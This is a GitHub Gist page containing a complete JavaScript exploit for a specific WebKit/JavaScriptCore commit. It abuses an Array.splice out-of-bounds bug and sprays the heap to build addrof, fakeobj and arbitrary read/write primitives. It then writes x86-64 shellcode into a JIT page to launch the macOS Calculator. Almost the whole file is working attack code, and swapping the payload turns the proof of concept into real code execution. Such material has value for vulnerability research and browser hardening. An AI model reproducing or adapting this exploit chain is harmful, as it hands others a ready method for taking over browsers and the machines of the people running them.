Last active
May 3, 2020 05:21
-
-
Save howmuch515/1aecbd35ca8e634fd5425db4e0294be2 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// commit: 21687be235d506b9712e83c1e6d8e0231cc9adfd | |
// | |
// Build: | |
// cd /path/to/Webkit | |
// ./Tools/Scripts/build-jsc --jsc-only --release --cmakeargs="-DENABLE_STATIC_JSC=ON -DCMAKE_C_COMPILER='clang' -DCMAKE_CXX_COMPILER='clang++' -DCMAKE_C_FLAGS='-g' -DCMAKE_CXX_FLAGS='-g'" | |
const MESSAGE_PRINT = print | |
const dc = describe | |
const JIT_COUNT = 10000 | |
// Debug messages | |
function info(msg) { | |
MESSAGE_PRINT(`[+] ${msg}`) | |
} | |
function success(msg) { | |
MESSAGE_PRINT(`[*] ${msg}`) | |
} | |
function warn(msg) { | |
MESSAGE_PRINT(`[-] ${msg}`) | |
} | |
function error(msg) { | |
MESSAGE_PRINT(`[!] ${msg}`) | |
} | |
class Int64 { | |
constructor(val) { | |
this.buff = new ArrayBuffer(8) | |
this.u8 = new Uint8Array(this.buff) | |
this.u32 = new Uint32Array(this.buff) | |
this.f64 = new Float64Array(this.buff) | |
switch (typeof val) { | |
case "number": | |
this.fromDouble = val | |
break | |
case "string": | |
this.fromString = val | |
break | |
case "object": | |
if(Array.isArray(val)) { | |
this.fromArray = val | |
break | |
} else if(val[Symbol.toStringTag] === "Uint8Array") { | |
this.fromArray = val | |
break | |
} | |
default: | |
throw TypeError("Int64 constructor requires an argument.") | |
} | |
} | |
get asDouble() { | |
return this.f64[0] | |
} | |
get asArray() { | |
return this.u8.slice(0, 9) | |
} | |
set fromDouble(val) { | |
this.f64[0] = val | |
} | |
set fromString(val) { | |
if (val.startsWith("0x")) { | |
val = val.substr(2) | |
} | |
while (val.length < 16) { | |
val = "0" + val | |
} | |
let vh = val.slice(0, 8) | |
let vl = val.slice(8, 16) | |
this.u32[1] = parseInt(vh, 16) | |
this.u32[0] = parseInt(vl, 16) | |
} | |
set fromArray(val) { | |
for (let i = 0; i < val.length; i++) { | |
this.u8[i] = val[i] | |
} | |
} | |
add(x) { | |
let i64 = new Int64(this.f64[0]) | |
i64.u32[1] += Math.floor(x / 0x100000000) | |
i64.u32[0] += x % 0x100000000 | |
return i64 | |
} | |
sub(x) { | |
let i64 = new Int64(this.f64[0]) | |
i64.u32[1] -= Math.floor(x / 0x100000000) | |
i64.u32[0] -= x % 0x100000000 | |
return i64 | |
} | |
unbox() { | |
return this.sub(0x1000000000000) | |
} | |
toString() { | |
let a = this.u32[1].toString(16) | |
let b = this.u32[0].toString(16) | |
if (b.length < 8) { | |
b = "0".repeat(8 - b.length) + b | |
} | |
let x = a + b | |
return `0x${x}` | |
} | |
} | |
const MIN_SPARSE_ARRAY_INDEX = 0x100000 | |
const SPRAY_ARRAY_SIZE = 0x500 | |
const BUTTERFLY_SIZE = 10 | |
const QWORD = 0x100000000 | |
const OOB_LENGTH = 0xfffffff0 | |
const START_INDEX = 0x10000 / 8 | |
const ELEET = (new Int64(`0x31337`)).asDouble | |
const LEET = (new Int64(`0x1337`)).asDouble | |
// make trigger array | |
info(`OOB_LENGTH = ${OOB_LENGTH.toString(16)}`) | |
let oob = [1]; | |
oob.length = MIN_SPARSE_ARRAY_INDEX | |
oob.splice(0, (QWORD - OOB_LENGTH) + 1) | |
oob.length = OOB_LENGTH | |
// spray | |
info(`SPRAY_ARRAY_SIZE = ${SPRAY_ARRAY_SIZE.toString(16)}`) | |
let oob_spray = [] | |
for (let i = 0; i < SPRAY_ARRAY_SIZE; i+=2) { | |
oob_spray[i] = Array(BUTTERFLY_SIZE).fill({a:i}) | |
oob_spray[i+1] = [ELEET, ELEET, ELEET, ELEET, ELEET, ELEET, ELEET, ELEET, ELEET, ELEET+1] | |
} | |
// trigger | |
info(`START_INDEX = ${START_INDEX}`) | |
oob.splice(START_INDEX, 1, 1, 1) | |
// detect oob | |
info(`search oob array(length == 0x31337)!`) | |
let oob_index = 0 | |
for (let i = 0; i < oob_spray.length; i++) { | |
let tmp = oob_spray[i] | |
if (tmp.length == 0x31337) { | |
success(`detect oob! index: ${i}`) | |
oob_index = i | |
break | |
} | |
} | |
if (oob_index == 0) { | |
error(`can't detect oob...`) | |
} | |
let oob_boxed = oob_spray[oob_index+1] | |
let oob_unboxed = oob_spray[oob_index] | |
oob_boxed[0] = {"leet": LEET} | |
// unknown trigger... | |
for (let i=0; i<10; i++) { | |
let a = oob_unboxed[14] | |
let b = oob_boxed[0] | |
} | |
let prims = {} | |
prims.addrof = obj => { | |
oob_boxed[0] = obj | |
return new Int64(oob_unboxed[14]) | |
} | |
prims.fakeobj = addr => { | |
oob_unboxed[14] = addr.asDouble | |
return oob_boxed[0] | |
} | |
success("stage1") | |
let flags_arr_double = new Int64(`0x0108200700000200`).unbox() | |
let flags_arr_contiguous = new Int64(`0x0108200900000200`).unbox() | |
info("spray StructureID") | |
let struct_spray = [] | |
for (let i = 0; i < 0x1000; i++) { | |
let a = [13.37] | |
a.x = 13.37 | |
a[`p${i}`] = 13.37 | |
struct_spray.push(a) | |
} | |
let victim = struct_spray[0x500] | |
info("make hax") | |
let outer = { | |
js_cell_header: flags_arr_contiguous.asDouble, | |
butterfly: victim | |
} | |
hax = prims.fakeobj(prims.addrof(outer).add(0x10)) | |
success("stage2") | |
info("make overlapped boxes") | |
let boxed = [{}] | |
let unboxed = [13.37, 13.37, 13.37] | |
unboxed[0] = 13.38 | |
hax[1] = unboxed | |
tmp_butterfly = victim[1] | |
hax[1] = boxed | |
victim[1] = tmp_butterfly | |
info("make new addrof/fakeobj") | |
prims.addrof = obj => { | |
boxed[0] = obj | |
return new Int64(unboxed[0]) | |
} | |
prims.fakeobj = addr => { | |
unboxed[0] = addr.asDouble | |
return boxed[0] | |
} | |
info("make AAR/AAW prims") | |
outer.js_cell_header = flags_arr_double.asDouble | |
prims.read64 = where => { | |
hax[1] = where.add(0x10).asDouble | |
return prims.addrof(victim.x) | |
} | |
prims.write64 = (where, what) => { | |
hax[1] = where.add(0x10).asDouble | |
victim.x = prims.fakeobj(what) | |
} | |
prims.write8 = (where, byte) => { | |
let buff = prims.read64(where) | |
let tmp = buff.asArray | |
tmp[7] = byte | |
buff = new Int64(tmp) | |
prims.write64(where, buff) | |
} | |
prims.set = (dst_ptr, payload_array) => { | |
for(let i=0; i < payload_array.length; i++) { | |
prims.write8(dst_ptr.add(i), payload_array[i]) | |
} | |
} | |
success("stage3") | |
info("jitting") | |
let pwn = (x) => { | |
var j = [] | |
j[0] = 0x6323634 | |
return ( | |
x * 5 + | |
x - | |
(x * x) / 0x2342513426 + | |
(x - x + (0x85720642 * (x + 3 - x / x + 0x41424344)) / 0x41424344) + | |
j[0] | |
) | |
} | |
for (let i = 0; i < JIT_COUNT; i++) { | |
pwn(13.37) | |
} | |
let jit_page = prims.read64( | |
prims.read64( | |
prims.read64( | |
prims.read64( | |
prims.addrof(pwn).add(8*3) | |
).add(8*3) | |
).add(8*3) | |
).add(8*5) | |
) | |
info(`jit_page: ${jit_page}`) | |
let nop_sled = "\x90".repeat(8) | |
// https://pastebin.com/ruh5dpMT | |
// launch "/Applications/Calculator.app/Contents//MacOS//Calculator" | |
let shellcode = | |
"\x48\x31\xd2\x52\x48\xbf\x6c\x63\x75\x6c\x61\x74\x6f\x72\x57\x48\xbf\x61\x63\x4f\x53\x2f\x2f\x43\x61\x57\x48\xbf\x74\x65\x6e\x74\x73\x2f\x2f\x4d\x57\x48\xbf\x2e\x61\x70\x70\x2f\x43\x6f\x6e\x57\x48\xbf\x6c\x63\x75\x6c\x61\x74\x6f\x72\x57\x48\xbf\x74\x69\x6f\x6e\x73\x2f\x43\x61\x57\x48\xbf\x2f\x41\x70\x70\x6c\x69\x63\x61\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05" | |
info("shellcode injection") | |
payload = nop_sled + shellcode | |
prims.set(jit_page.add(8), payload.split("").map(x => x.charCodeAt())) | |
success("pwn!") | |
pwn(13.37) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment